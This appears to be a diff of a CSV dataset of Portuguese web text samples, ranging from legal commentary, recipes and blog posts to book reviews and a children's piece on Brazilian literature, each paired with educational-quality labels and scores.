+Importante destacarmos que a titularidades dos direitos constitucionais supra citados não limitar-se-ão aos cidadãos que completaram a capacidade civil ou penal, mas sim a todos os brasileiros e brasileiras sem distinção etária, de gênero, orientação sexual, etnia, entre outras.
+Em seu artigo 227 a nossa Constituição versa exclusivamente sobre os direitos da criança, do adolescente e do jovem e, novamente, os direitos à liberdade e à saúde merecem destaque, conforme podemos observar:
+Art. 227 – “É dever da família, da sociedade e do Estado assegurar à criança, ao adolescente e ao jovem, com absoluta prioridade, o direito à vida, à saúde, à alimentação, à educação, ao lazer, à profissionalização, à cultura, à dignidade, ao respeito, à liberdade e à convivência familiar e comunitária, além de colocá-los a salvo de toda forma de negligência, discriminação, exploração, violência, crueldade e opressão.”(GRIFOS NOSSOS)
+Apesar de não haver nenhuma limitação acerca da efetividade dos direitos elencados no artigo 5º da Constituição no que tange a crianças e adolescentes, o poder constituinte originário, quando tratou especificamente sobre os direitos da infância e da adolescência, optou por reafirmar o direito à liberdade destas crianças e adolescentes, impedindo desta forma qualquer exercício hermenêutico que privilegie a sua institucionalização. Neste mesmo sentido dispõe o artigo 3º da Lei 8.069/90, Estatuto da Criança e do Adolescente:
+Art. 3º - “A criança e o adolescente gozam de todos os direitos fundam...",original,original,original,original,4,0.8
+"A ESCOLA
+A METODOLOGIA
+oda a metodologia aplicada pelas Escolas de Futebol do Boca são parte de um processo elaborado pela Administração Desportiva do Club Atlético Boca Juniors.
+Esse mesmo trabalho técnico-físico-psicológico é usado com os meninos das categorias de base do clube e são aplicados nas Escolas de Futebol do Boca.
+DIRETRIZES METODOLÓGICAS PARA OS TREINAMENTOS
+O processo de formação desportiva executado nas divisões de base do Club Altético Boca Juniors segue uma linha pedagógica, onde as idades das crianças e jovens são respeitadas naturalmente.
+Neste processo é fundamental a participação de formador capacitado para aplicar sensivelmente os conceitos futebolísticos programados em cada uma das idades.
+O primeiro passo é organizar o campo como um ambiente de aula, onde a alegria, a diversão e a ordem são os pontos principais.
+Devemos entender que a aprendizagem, consiste em um processo de assimilação lento, gradual e complexo, no qual, a criança deve estabelecer uma intensa atividade mental que permita assimilar e compreender o que é passado, por meio de atividades metodológicas cuidadosamente selecionadas e pensadas à longo prazo.
+Nossa intenção é estimular a aprendizagem das técnicas na medida em que os garotos e jovens estejam preparados física e psicologicamente para executá-las. Sem obrigá-los a executar movimentos praticamente ""impossíveis"" de se reproduzir, pelo ponto de vista de sua maturidade neurológica.",original,original,original,original,4,0.8
+"Doutor G | Kiko is Hot - marotice oral, sinais errados, esguichamento precoce ~ Por Falar Noutra Coisa
+Autor
+Livros
+Stand Up Comedy
+Falta de Chá
+Podcast
+Contactos
+Menu
+9 de fevereiro de 2021
+Doutor G | Kiko is Hot - marotice oral, sinais errados, esguichamento precoce
+Mais um episódio do vosso consultório sentimental e sexual preferido que agora passou a ser em vídeo e com convidados. Esta semana recebo o Kiko is Hot e falamos de muitas coisas, entre as quais javardice com classe e funaná pelado com eloquência. Há ainda espaço para rubricas e um desafio final para o convidado que vai testar os seus conhecimentos sexuais, tanto teóricos como práticos. Espero que gostem, subscrevam e partilhem e para a semana há mais.",original,original,original,original,0,0.0
+"Por volta de 1h20min da madrugada desta segunda-feira, 24 de abril de 2017, o Banco do Brasil de Mairi, foi explodido por elementos fortemente armados.",original,original,original,original,1,0.2
+"entretenimento para os mais pequenos,...
+Recomendado para eventos acima de 150 pessoas.
+2 Live Acts (saxofonista, violinista, guitarrista ou outro) ou 1 Banda de Covers (anos 70/80/90)
+Animação Infantil + Insuflável para Crianças (até 3h)",original,original,original,original,1,0.2
+"Olá, pessoal! Já pararam para pensar que a literatura é como uma viagem? Uma viagem sem sair do lugar, que nos leva a mundos incríveis, nos apresenta personagens fascinantes e nos faz refletir sobre a vida. Hoje, vamos embarcar numa aventura especial: desvendar a literatura brasileira! 
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+A literatura brasileira é como um grande baú cheio de tesouros. Nesses tesouros, encontramos histórias de todos os tipos: contos de fadas, poemas emocionantes, romances cheios de aventura e peças de teatro que nos fazem rir e chorar. Mas o que torna a literatura brasileira tão especial? É que ela conta a nossa história, a história do nosso país, do nosso povo, da nossa cultura. 
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+Um dos grandes nomes da nossa literatura é Machado de Assis. Já ouviram falar dele? Machado era um escritor genial, que sabia como ninguém contar histórias cheias de mistério e humor. Seus livros, como ""Dom Casmurro"" e ""Memórias Póstumas de Brás Cubas"", são verdadeiros clássicos e nos fazem pensar sobre a natureza humana, o amor, a inveja e a ambição. 
+
+Outro autor importantíssimo é Monteiro Lobato. Quem não se lembra das aventuras de Narizinho, Pedrinho, Emília e Visconde de Sabugosa no Sítio do Picapau Amarelo? Lobato criou personagens inesquecíveis que povoam o imaginário de crianças e adultos. Ele usava a literatura para ensinar sobre a história do Brasil, a ciência, a cultura popular e a importância da leitura. 
+
+A literatura brasileira também está presente nas músicas que ouvimos, nos filmes que assistimos e nas peças de teatro que vemos. Ela está nas letras de Chico Buarque, nas poesias de Cora Coralina, nas histórias de Jorge Amado. Está em todo lugar, esperando para ser descoberta. 
+
+Mas como podemos aproveitar ao máximo essa aventura literária? Uma dica é começar lendo livros de autores brasileiros que falem sobre temas que nos interessam. Pode ser uma história de aventura, um romance, um livro de poemas ou uma peça de teatro. O importante é se deixar levar pela leitura e mergulhar no mundo que o autor criou. 
+
+Outra dica é conversar com amigos e professores sobre os livros que lemos. Trocar ideias e opiniões é uma ótima maneira de aprofundar a nossa compreensão da obra e de aprender coisas novas. E que tal criar um clube de leitura na sua escola? Vocês podem escolher um livro por mês e se reunir para discutir sobre ele. 
+
+A literatura brasileira é um tesouro que está ao alcance de todos. Basta abrir um livro e se deixar levar pela magia das palavras. Então, que tal começar essa aventura agora mesmo? Qual livro brasileiro você gostaria de ler? Quais personagens você gostaria de conhecer? A literatura está esperando por você!",Português,Literatura brasileira,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, introduzindo a literatura brasileira de forma convidativa para o público jovem. Menciona autores importantes como Machado de Assis e Monteiro Lobato, contextualizando suas obras e relevância cultural. Estimula a leitura e a discussão sobre livros, propondo atividades práticas como clubes de leitura. O texto é claro, consistente e adequado para o ensino fundamental, incentivando o interesse pela literatura nacional.",5,1.0
+"Enviado por Allysson Lucca
+Como transformar a sua idéia em um aplicativo do começo ao fim.
+salvarSalvar O Caminho Das Apps para ler mais tarde
+MITAPP Inventor Apostila 2
+Tutorial – Como fazer backup de tudo (incluindo save de jogos) _ Eu Sou Android.pdf
+Eusouandroid Com Tutorial Localize Seu Aparelho Android Sem 2
+1478780370ebook Umovme Guia Completo Para Como Criar e Vender Apps Mobile
+AppJTe Guia Rapido V2 Noticias
+guio da atividade
+Como transformar a sua ideia em um aplicativo. Do comeo ao m!
+Obrigado ao time da Luccaco por ter sempre aceitado os desafios e pela produo desse material. Arte capa: Luccaco *be digital Texto: Allysson Lucca Reviso: Nilson Carlos Rosa Distribuio: Gratuta
+Acho importante, de incio, me apresentar. muito frustrante ver livros, cursos, palestras, etc... feitos por profissionais, que no passam de iluses, os gurus falsos, aqueles que do dicas para sua empresa decolar mas nunca montaram uma na vida. Meu nome Allysson Lucca, atualmente sou Diretor de Estdio na Luccaco *be digital, um estdio de design e desenvolvimento de projetos digitais em Curitiba. Sou formado em Desenho Industrial pela PUCPR, especializei-me em Design Grfico e nos ltimos 13 anos trabalho exclusivamente com projetos digitais. Antes disso, fiz de tudo um pouco, desde layouts para embalagens de farinha at projetos grficos para revistas de bordo. Na Luccaco, trabalhamos com organizaes no governamentais e empresas privadas; entre nossos clientes posso citar: Naes Unidas, Mdicos Sem Fronteiras, Grupo Positivo, Grupo Lumen, acesse nosso site para uma lista completa www.luccaco. com. O contedo desse livro nasceu do nosso dia a dia. Antes da exploso do mercado dos aplicativos fazamos somente websites, tivemos que aprender novas linguagens para acompanhar o mercado e sabemos da dificuldade e curiosidade que muitos tm quando falamos de fazer uma app, seja voc um desenvolvedor ou um jornalista, qualquer pessoa pode ter uma boa ideia, mas no ter ideia de onde comear. Nesse livro, no vou falar de aspectos tcnicos, no entendo nada de programao, ou seja, voc no precisa ser programador para entender o que escrevo aqui, vou procurar ser o mais claro possvel, explicando todos os passos necessrios para trazer a sua ideia ao pblico. Boa leitura!
+O que so Apps?
+Apps, Aplicativos ou at Aplicaes, so softwares que tm por objetivo ajudar o usurio a fazer determinadas tarefas, funes ou simplesmente passar o tempo lendo notcias ou jogando. Os aplicativos j existem h muito tempo, mas somente com a popularizao dos smartphones e mais tarde dos tablets que o termo tornou-se conhecido. Aqui iremos usar os termos Aplicativos e Apps. O mercado tem hoje 3 canais de publicao de aplicativos, so eles:
+App Store, Apple.
+A App Store, lanada em julho de 2008, um servio para o iPhone, iPod Touch e iPad criado pela Apple Inc., que permite aos usurios navegar e fazer download de aplicativos pela iTunes Store. Dependendo da aplicao, ela pode ser grtis ou paga. Os aplicativos podem ser baixados diretamente no dispositivo, ou baixados para um computador via iTunes.
+Voc precisa se cadastrar como desenvolvedor e pagar uma taxa anual de US$99,00 (noventa e nove dlares) para poder enviar aplicativos para aprovao na App Store. Cada aplicativo enviado passa por um processo de aprovao dentro da Apple. Essa etapa pode levar dias ou meses, vai depender da tecnologia, das funes, do contedo, design, entre outros detalhes. Caso seu aplicativo no seja aprovado, voc pode corrigir os itens apontados pela Apple e reenviar o produto. No momento em que escrevo, existem mais de 700.000 aplicativos disponveis para download.
+Google Play, Google.
+Google Play a loja online mantida pela Google para distribuio de aplicativos, jogos, filmes, msica e livros. Anteriormente a loja chamava-se Android Market. Esta mudana de nome para Google Play ocorreu para que o Google pudesse unificar o Android Market com a loja de msicas, filmes e livros e assim distribuir todo seu contedo digital em um s lugar. Os aplicat...",original,original,original,original,3,0.6
+"julho 2019 / Perto dos livros / O Brasil que nos espera
+Romance de Ignácio de Loyola Brandão dá respostas tanto para o momento de descrença mundial quanto para a crise brasileira
+Ignácio de Loyola Brandão, Foto: Carla Formanek
+Há uma tendência mundial de narrativas distópicas, fermentadas nos temores causados pelas rápidas alterações climáticas, que têm amedrontado os contemporâneos, algo que nos devolve à Guerra Fria, quando por pouco não ocorreu uma hecatombe nuclear em função da disputa entre os Estados Unidos e a União Soviética. Talvez o grande livro recente nesta linhagem seja A estrada (2006), de Cormac McCarthy, em que um pai e um filho enfrentam os canibais para chegar a uma área segura e assim recomeçar a vida. No cinema, o fim mundo em um futuro próximo também é algo muito presente, como na série The walking dead e no filme Bird box, o que criou um imaginário de recepção para este tipo de história.
+Ignácio de Loyola Brandão sempre esteve identificado com esta linhagem. Nos anos 1970, quando o pânico nuclear unia a intelectualidade e o Brasil passava pela ditadura militar, Loyola ganhou projeção internacional como seu Zero, publicado primeiro na Itália (1974), pela Feltrinelli, em tradução de Antonio Tabucchi, obra que seria censurada no Brasil. Em 1981, nos estertores da ditadura, sai outro romance distópico, Não verás país nenhum. Unindo estas duas obras, a percepção de que esta realidade extrema só pode ser representada pela fragmentação narrativa e pela coleção de frases retiradas dos meios de comunicação.
+Não é por acaso que o novo romance de Loyola completa o que poderíamos chamar de trilogia apocalítica em um momento em que o país vive uma grande crise política, social e econômica. Dessa forma, seria correto pensar que Desta terra nada vai sobrar, a não ser o vento que sopra sobre ela dá respostas tanto para o momento de descrença mundial quanto para a crise brasileira, aguçada com o impeachment da presidente Dilma Rousseff. É, assim, um romance visceralmente nacional, mas com uma conexão internacional pela onda das distopias.
+Antes montado do que narrado, este livro traz capítulos que se iniciam com uma epígrafe, retirada de vários lugares, desde músicas a artigos de jornal, e que servem como tema do que vai aparecer na sequência. Neste universo pós-humano, não há a figura do narrador. O romance é organizado como se fosse um big brother em que assistimos ao que acontece nos cenários mais remotos através de câmeras, que filmam tudo e colocam imediatamente na internet, numa alegoria à onipresença das redes sociais, e a chips instalados nas pessoas que vigiam os seus pensamentos. Ninguém mais escapa aos registros contínuos. Nesta mecânica, as cenas são episódios captados pelo sistema de controle.
+Loyola cria uma narrativa que se assume como imagem gravada. A fragmentação, portanto, será a matéria estrutural do romance, que cresce caoticamente para criar no fruidor o sentido de desorientação neste futuro em que todos estão perdidos, desmemoriados e vigiados. Neste tempo distante e próximo, o país é um caos administrado por presidentes provisórios que se sucedem e por corruptos que usam tornozeleira eletrônica. Esta instabilidade das instituições cria uma existência fluída, de multid��es que não se reconhecem mais em um país tornado abstração geopolítica. Os personagens se perguntam a toda hora se estão no Brasil.
+Usando alegorias e referências diretas a fatos da história recentíssima, Loyola escreveu um romance de busca, focado em um casal que rompe o relacionamento, aumentando o grau de dispersão por uma realidade confusa. Enquanto acompanhamos a separação de Felipe e Clara e depois a procura da amada que Felipe empreende, as câmeras vão revelando de forma exaustiva este outro agora, que nada mais é do que um presente que se fez absurdo. “Há quarenta anos foram fechados os institutos de pesquisa”, como fica dito no capítulo O presidente com Síndrome de Ulmer, em uma referência aos cortes na pesquisa.
+Para dar con...",original,original,original,original,4,0.8
+"É verdade - prefiro a rádio, sobretudo nocturna. Porque a palavra e o significado reinam, ao abrigo das tropelias do olhar, sempre volúvel:). Não sei se calar a televisão foi um lapso freudiano, mas cálculo não, seguramente. Se um projecto me agradar, voltarei ao ecrã com prazer, mas confesso que câmaras, luzes e maquilhagem não me despertam tanto carinho como microfones, auscultadores e pernas em cima da mesa, moldura ideal para amena cavaqueira.
+Publicada por Julio Machado Vaz à(s) 8:38 da tarde 76 comentários
+segunda-feira, agosto 28, 2006
+À falta de barro e costelas:).
+""Vou fazer-te existir na realidade da minha palavra. Da minha imaginação.""
+Vergílio Ferreira, Para Sempre.
+Publicada por Julio Machado Vaz à(s) 9:53 da tarde 78 comentários
+domingo, agosto 27, 2006
+Esclarecimento.
+Lamento, não fui claro:(. O vazio educacional de que falava era ao nível da educação (sexual). Sou 200% a favor da pílula do dia seguinte, mas não como método contraceptivo ""habitual"", ""normal"", ""inócuo"". Acresce que sou psiquiatra: preocupam-me os mecanismos de defesa que permitem a negação da responsabilidade erótica. Esta não compromete o romantismo, a espontaneidade, o desejo. Limita-se a assumi-los, carago!:).
+Publicada por Julio Machado Vaz à(s) 3:42 da tarde 34 comentários
+sábado, agosto 26, 2006
+Breve.
+A evolução dos números referentes à utilização da pílula do dia seguinte é deprimente. Pelo que traduz de vazio educacional, de recusa em assumir o planeamento da vida erótica, de opção por uma via considerada mais fácil e sem consequências. Alguns preferirão apostrofar a decadência moral em vez de enfrentar o problema. É pena. E é perigoso...
+Publicada por Julio Machado Vaz à(s) 8:52 da tarde 21 comentários
+quinta-feira, agosto 24, 2006
+Que assim seja!
+Investigação: Mais reacções positivas
+A comunidade científica está satisfeita com a descoberta sobre a produção de células estaminais.
+24/08/2006
+(12:53) De recordar que cientistas norte-americanos desenvolveram uma forma de produzir células estaminais sem destruir os embriões.
+Para Raquel Almeida, investigadora do IPATIMUP - Instituto de Patologia e Imunologia Molecular da Universidade do Porto -, estes avanços poderão eventualmente fazer desaparecer os obstáculos à utilização de células, o que pode ajudar na pesquisa e tratamento de algumas doenças como Alzheimer, Parkinson ou problemas cardíacos.
+""Vai permitir que a objecção à utilização linhas celulares de células estaminais, eventualmente, possa ser ultrapassada e se possa passar a fazer investigação em linhas celulares de células estaminais de forma mais fácil, mais pessoas possam utilizar linhas celulares de células estaminais"", disse.
+Também Mário de Sousa, especialista em medicina da reprodução e que há anos investiga a cultura de tecidos, nomeadamente no Instituto de Ciências Biomédicas Abel Salazar (ICBAS), onde é docente, não hesita em classificar a descoberta como ""uma revolução"".
+Já o geneticista Carolino Monteiro considerou que produzir células estaminais embrionárias sem destruir o embrião é uma ""descoberta importante"" porque escapa às questões éticas, dando mais um passo na direcção da terapêutica de doenças sem cura.
+Publicada por Julio Machado Vaz à(s) 2:26 da tarde 44 comentários
+quarta-feira, agosto 23, 2006
+Ainda Grass.
+Os juízes de Günter Grass
+Diogo Pires Aurélio
+Professor universitário
+Uma certa ""inteligência"" abateu-se, justiceira, sobre Günter Grass, no dia em que este, antecipando a sua autobiografia, confessou a um jornal ter pertencido, na adolescência, às Waffen SS, uma força de elite das tropas hitlerianas. O libelo acusatório tem vindo a crescer. Primeiro, foi o crime de haver integrado tais milícias. Segue-se o ter, durante toda a vida, mantido silêncio a esse respeito, coisa imperdoável em alguém que acusava o povo alemão de não se querer confrontar com o passado recente. Por fim, vem o ter aguardado que lhe dessem o Nobel para fazer a revelação da ignomínia: no entender dos novos cátaros, a obra jamais justi...",original,original,original,original,2,0.4
+"30 de setembro de 2018 - 09h13
+Sesi reúne pais e alunos para contar a história de Porto Velho através de seus monumentos
+A 1ª. Caminhada Histórica promovida pela escola Sesi-Senai Lagoa aconteceu no último sábado, 29, e reuniu dezenas de pais, alunos e a equipe pedagógica para mostrar e contar a história da capital de Rondônia através dos monumentos e prédios históricos. Antes das oito da manhã o movimento de pais e alunos era intenso na Praça das Caixas D’Água, local escolhido para a concentração e início da aula de campo. Na sequencia, o grupo visitou a Catedral Sagrado Coração de Jesus, Palácio do governo, Mercado cultural, Unir centro e encerrando na Estrada de Ferro Madeira Mamoré.
+Nos locais visitados, professores do Sesi falaram um pouco da história, das características físicas, tipo de arquitetura, importância e simbologia, importância histórica, dentre outras observações pertinentes relacionadas aos monumentos. Os estudantes que prestaram atenção ao que foi dito responderam perguntas feitas no final do passeio e ganharam brindes trazidos pela Siça, filha do Manelão, fundador da banda Vai quem quer e que falou sobre o carnaval e a importância do pai para a cultura carnavalesca de Porto Velho.
+O professor Luciano Silva falou da estrutura física, quando foi montada, e finalidade das Caixas D’Água. Na Catedral Sagrado Coração de Jesus foi a vez das professoras Adriana Simões e Ana Paula Gonçalves. Sobre o Palácio do governo e mercado cultural falaram as professora Flávia Dias e Paula Falcão. O professor Ademir Junior contou um pouco sobre a Universidade Federal de Rondônia e encerrando a caminhada, os professores Maria Aparecida Medeiros, Ademir Junior e Ellen Botelho abordaram a Estrada de Ferro Madeira Mamoré, sua importância histórica para o surgimento de Porto Velho.
+Na avaliação Jair Santiago Coelho, coordenador educação Sesi-Senai-IEL-RO, esta iniciativa do Sesi quebra o convencional ao realizar uma aula a céu aberto abordando os monumentos que contam a história da cidade. “É importante, pois ao mesmo tempo em que ensina, o Sesi aglutina os pais neste intercâmbio com os professores e a direção da escola. Em meu ponto de vista foi uma ideia elogiável porque traz uma forte integração escola, aluno e família”, argumenta.
+Ainda segundo o coordenador, ao mesmo tempo em que os professores estão ensinando aos filhos também atualizam os conhecimentos dos pais. “Os alunos aprenderam que a leitura não apenas a palavra impressa, pois eles leram a cidade através dos seus monumentos históricos. Estes conhecimentos são importantes e impactantes no aprendizado de todos”, exulta.
+De acordo com a pedagoga e coordenadora do quarto ao sétimo ano, Tatiana Maíra Botelho Ribeiro “o projeto tem o objetivo de resgatar os valores históricos de Porto Velho tendo em vista que dia 2 de outubro é comemorado o aniversário da nossa capital. Antes desta caminhada, os alunos assistiram em sala de aula, uma palestra ministrada pelo historiador Anísio Gorayeb que falou sobre a construção da nossa cidade, como nasceu e suas histórias e a contribuição dos monumentos. A caminhada histórica é a segunda etapa deste um projeto voltado ao resgate da história de Porto Velho”, disse.
+No ponto de vista da coordenadora de Educação, Juliane Loubach, este tipo de atividade é uma das propostas da metodologia do Sesi com o objetivo de ofertar aos alunos a teoria em sala de aula e a vivência prática que agrega mais conhecimento. “O professor atua como mediador deste conhecimento através da interação com os alunos. A participação dos pais também significativa. Foi um volume expressivo e este é um diferencial do Sesi que sempre convida a família dos alunos para participar desta vivência, pois todos aprendem”, afirmou.
+Victor Santos, aluno do quarto ano ressaltou que a caminhada histórica foi excelente, pois aprendeu mais sobre Porto Velho. “Aprendi o que aconteceu antes de eu nascer. Também aprendi sobre como os monumentos foram feitos, as histórias e importância de c...",original,original,original,original,4,0.8
+"Nada melhor que caracóis amanteigados no café da manhã ou no café da tarde . Essa delicia é impossível de resistir assim como é impossível comer apenas um.
+Já que é assim , vem comigo que eu irei te ensinar a fazer essa maravilha . Ingredientes : essência de baunilha , 2 xícara de chá de manteiga , 1 xícara de chá de leite , 2 xícara de chá de açúcar , 2 colheres de sopa de fermento em pó , 5 xícara de chá de farinha de trigo .
+Modo de fazer : Derreta a manteiga e reserve ela . Quando a manteiga estiver quase firme , bata bastante com a ajuda da batedeira até que vire um creme.
+Acrescente o açúcar , o leite e algumas gotas de essência de baunilha e volte à bater . Peneire a farinha de trigo com fermento e adicione aos poucos , vá mexendo a massa bem até que a massa esteja lisa .
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+Sobre nós
+O site Tudo Receitas surgiu da ideia de compartilhar receitas feitas únicas feitas por nós, dicas de cozinha e alimentação saudável. Seja bem-vindo(a) ao nosso site e esperamos que você faça um ótimo proveito de nossas receitas deliciosas. Para enviar sua receita pra gente, ou alguma sugestão, clique aqui.",original,original,original,original,1,0.2
+"14 de outubro de 2015 18 de outubro de 2015 Georgia Barbosa Atitudes, Brasil, Mundo, Pessoas
+Eles participaram de atividades que estimularam os sentidos através da troca de olhares, do toque, do cheiro, da música e das conversas entre si. Foi possível conhecer e perceber o processo de envelhecimento e com isso, aprender a respeitar o próximo.
+Para alguns, este foi o primeiro dia que visitaram um asilo e se encantaram com a felicidade que os vovôs e vovós estavam naquele momento. “Eu acho que a vovó ficou feliz que a gente veio aqui.”, estas foram as palavras de uma das crianças “de hoje”. Já “as de ontem” contaram que estavam alegres e satisfeitas, porque as crianças têm o poder de distrair dos momentos tristes, que eles se sentem sozinhos. As duas gerações estavam super agradecidas com tudo aquilo.
+O projeto foi baseado em uma instituição chamada Providence Mount St. Vincent de Seattle, nos EUA, que funciona como creche e asilo.
+asilo carinho crianças dia das crianças Felicidade Idosos",original,original,original,original,3,0.6
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+"A História das Línguas pretende, e consegue, dar uma visão global da vida e da mecânica das línguas, desde os primórdios da humanidade até conjeturas sobre futuros distantes.
+O que acontece com as línguas está ligado diretamente com as pessoas e as sociedades que as falam porque as línguas são, afinal, realidades sociais. Partindo deste pressuposto, a obra examina como as línguas aparecem, mudam e, por vezes, desaparecem. a obra inclui processos gerais como também capítulos temáticos onde se analisam línguas em concreto: chinês, grego, latim, português, norueguês, inglês...
+Acrescente-se que tudo está temperado com o melhor estilo divulgador para alimento das pessoas curiosas.
+ISBN: 9788416545216 Ano de edição ou reimpressão: 09-2018 Editor: Através Editora Idioma: Português Dimensões: 165 x 234 x 19 mm Encadernação: Capa dura Páginas: 320 Tipo de Produto: Livro Classificação Temática: Livros > Livros em Português > Literatura > Linguística e Filologia
+Tore Janson (1936, Estocolmo) é um linguista e professor sueco.
+Janson foi professor de latim na Universidade de Gotemburgo e mais tarde tornou-se professor de línguas africanas.
+É afiliado ao Departamento de Linguística da Universidade de Estocolmo.
+Um dos seus grandes focos de investigação é a maneira como as línguas mudam e as relações entre a língua e a sociedade.
+De facto, é autor dos super-vendas Speak: a Short History of Languages e A Natural History of Latin.(...)",original,original,original,original,4,0.8
+"Dando sequência ao post sobre microfones que publiquei a umas semanas atrás, hoje gostaria de comentar um pouco sobre os diagramas polares.
+Diagrama polar nada mais é que uma representação gráfica de como o som é captado pelo microfone em função do ângulo de incidência do som sobre a cápsula. Em outras palavras, um som é captado em intensidades diferentes dependendo da localização da fonte sonora em relação a cápsula e o diagrama polar é o ""mapa"" da sensibilidade do microfone.
+Os microfones seguem determinados padrões de sensibilidade e são esses padrões que dizem qual é a aplicação ideal de cada microfone.
+Microfone de padrão polar cardióide
+Microfone de padrão polar hipercardióide
+Embora as figuras acima facilitem bastante a compreensão do que é um diagrama polar, elas também induzem a uma falsa impressão de que a resposta de frequências do microfone é linear em todas as direções o que é incorreto. Veja a figura a seguir:
+Diagrama polar
+Observando a figura podemos concluir que o microfone em questão tem boa resposta em seu axis para as frequências em torno de 16 kHz mas conforme o rotacionamos essa resposta cai drasticamente.
+Gostaria de destacar os principais padrões polares e suas aplicações mais comuns. Veja a figura:
+Principais padrões polares
+Omnidirecional: Microfones de padrão omnidirecional captam o som igualmente em 360°. Eles possuem naturalmente um timbre bem aberto e são excelentes em captações onde a acústica do ambiente é necessária. Alguns exemplos de aplicações para esse tipo de microfone são a captação de grupos vocais, pequenas formações de cordas ou outros instrumentos em salas de boa acústica.
+Cardioide: É o padrão polar mais comum. Ele oferece uma boa captação no axis do microfone e nas laterais mas uma rejeição quase que completa na sua parte posterior. Suas aplicações ideais são as mais variadas possíveis. Na verdade, qualquer coisa que se queira captar a curta distância sem a necessidade de rejeição da ambiência pode ser captada com um microfone cardioide.
+Super/Hiper cardioide: Nestes padrões o microfone possui excelente captação em seu axis, alguma captação em sua região posterior e uma leve rejeição em suas laterais. É o padrão polar mais comum dentre os microfones capacitivos para captação de voz e são extremamente sensíveis. Suas aplicações ideais vão desde a captação de pequenos instrumentos de percussão até os instrumentos de grande pressão sonora bastando apenas o ajuste de ganho e posicionamento.
+Bi direcional ou Figura 8: Microfones neste padrão tem ótima captação tanto no axis quanto na parte posterior do microfone e com uma boa rejeição nas laterais. Ele é muito legal para captar duas fontes sonoras distintas, uma de frente para a outra. Também é legal para captação de ambiências mas a sua utilização mais bacana em minha opinião é na captação MS que utiliza um microfone bidirecional conjugado com um microfone cardioide.
+Shotgun: Microfones desse tipo são altamente direcionais e necessitam estar apontados precisamente para a fonte sonora para uma captação adequada. Também possuem uma certa rejeição nas laterais o que o torna ideal para aplicações em broadcast. Na figura acima a sua escala foi exagerada para facilitar a compreensão mas nos manuais você encontrará um gráfico de padrão polar mais parecido com o de um microfone hiper-cardioide.
+Na próxima parte desse post irei comentar sobre os gráficos de resposta de frequência. Obrigado pela visita e tenham uma boa semana.
+Postado por Unknown às 09:26
+Enviar por e-mailPostar no blog!Compartilhar no TwitterCompartilhar no FacebookCompartilhar com o Pinterest
+Marcadores: Áudio
+Um comentário:
+Augusto Cesar 8 de janeiro de 2012 07:19
+Gostei muito da explicação, nunca havia compreendido bem estes gráficos por falta de uma simples explicação, eles são até bem simples de se entender, o lance é que na maioria dos gráficos você tem apenas 2 parâmetros cruzados, já nos gráficos polares temos 3 parâmetros a considerar.",original,original,original,original,4,0.8
+"8 pedaços de casca de laranja cortadas em quadrados.
+4 pedaços de casca de limão cortados em quatro.
+Com 2 horas de antecedência, prepare o tempero, misturando os 8 primeiros ingredientes numa tigela.
+Ponha a carne cortada em cubos e cubra com um pano de prato.
+Deixe descansar em temperatura ambiente mexendo de vez em quando.
+Coloque a carne em 4 espetos alternando-os com as cascas de laranja e limão, começando e terminando com a carne.
+Coloque em cada espeto uma folha de louro.
+Apoie a ponta dos espetos sobre as bordas de uma assadeira.
+Asse no forno pré-aquecido até atingir o ponto desejado molhando de vez em quando com o tempero em que a carne ficou de molho.",original,original,original,original,0,0.0
+"Duda Nagle aparece irreconhecível em foto, e Sabrina Sato afirma que ele não gosta de casa cheia! - TV Catia Fonseca
+Duda Nagle aparece irreconhecível em foto, e Sabrina Sato afirma que ele não gosta de casa cheia!
+Duda Nagle em foto de 20 anos atrás e agora",original,original,original,original,0,0.0
+"Muito provavelmente você já ouviu falar sobre o Pão de Açúcar Mais, o programa de relacionamento gratuito do Pão. No entanto, que tal conferir todas as vantagens exclusivas que pode ter ao fazer o cadastro para se tornar Cliente Mais?
+O que é o programa?
+Ser Cliente Mais é sinônimo de sempre sair ganhando. Afinal, ao se cadastrar no Pão de Açúcar Mais, é possível desfrutar benefícios exclusivos e gratuitos em todas as compras.
+Vale lembrar que, para aproveitar tudo o que o programa oferece, é só informar o CPF cadastrado durante os pedidos (sem valor mínimo) feitos on-line, no app ou site, e nas lojas físicas.
+Quais são as vantagens do programa?
+Com o app Pão de Açúcar Mais, benefícios exclusivos são oferecidos a quem é cadastrado no programa, como descontos exclusivos, ofertas personificadas, pontos que valem prêmios, caixa express e lista de compras personalizada.
+Descontos Exclusivos
+Nas lojas do Pão, e também no app e site, todos os descontos são exclusivos para quem é Cliente Mais. Para aproveitá-lo, basta fazer a identificação com o CPF cadastrado.
+Meu Desconto
+O Meu Desconto oferece ofertas personalizadas, que mudam toda semana, baseadas nos produtos dos quais o cliente gosta ou tem o hábito de comprar. Elas aparecem como sugestões no app e precisam ser ativadas antes de passar pelo caixa da loja ou fazer a compra no site ou app.
+Meus Prêmios
+Aqui, os pedidos se tornam estrelas que valem prêmios grátis todos os meses. Ao atingir desafios que são personalizados de acordo com o histórico de compras de cada cliente, prêmios podem ser resgatados em nossas lojas ou de parceiros.
+Caixa Express
+Fazer o pagamento das compras pode ser uma experiência mais rápida do que o comum, já que Cliente Mais tem a opção de agendar o horário que vai passar pelo caixa na loja em que está. Ou seja, sem filas e com praticidade e eficiência!
+Lista de compras
+É possível organizar as compras e não se esquecer de nada. Afinal, além de poder criar listas variadas e personalizadas com os produtos desejados para cada pedido, há a inclusão automática das ofertas ativadas.
+–
+Você já faz parte do programa Pão de Açúcar Mais? Sabia de todos esses benefícios exclusivos que Cliente Mais pode aproveitar? Confira também nosso post sobre como usar o app!
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+Comentários
+setembro 25, 2020
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+Solange Duque
+Sou cliente Mais e aproveito sempre as ofertas do meu Desconto. Elas valem a pena !!! 😉
+setembro 28, 2020
+Responder
+Pão de Açúcar
+Obrigada pela mensagem, Solange! Ficamos felizes em saber 🙂
+novembro 8, 2020
+Responder
+Valmira Honoriio dos Santos
+Quero ser.clinte mais
+novembro 9, 2020
+Responder
+Pão de Açúcar
+Oi, Valmira! tudo bem? Basta fazer seu cadastro e aproveitar todas as vantagens do nosso programa 🙂
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+"Universidades portuguesas chumbam em toda a linha - Agronomia
+por papinto, em 05.12.09
+DN, 2009.12.05
+DN<input ... >
+Críticas. Desfasamento entre os programas de estudo e as prioridades do Governo, deficiente sistema de incentivos e a baixa qualificação do pessoal académico são alguns dos pontos fracos encontrados
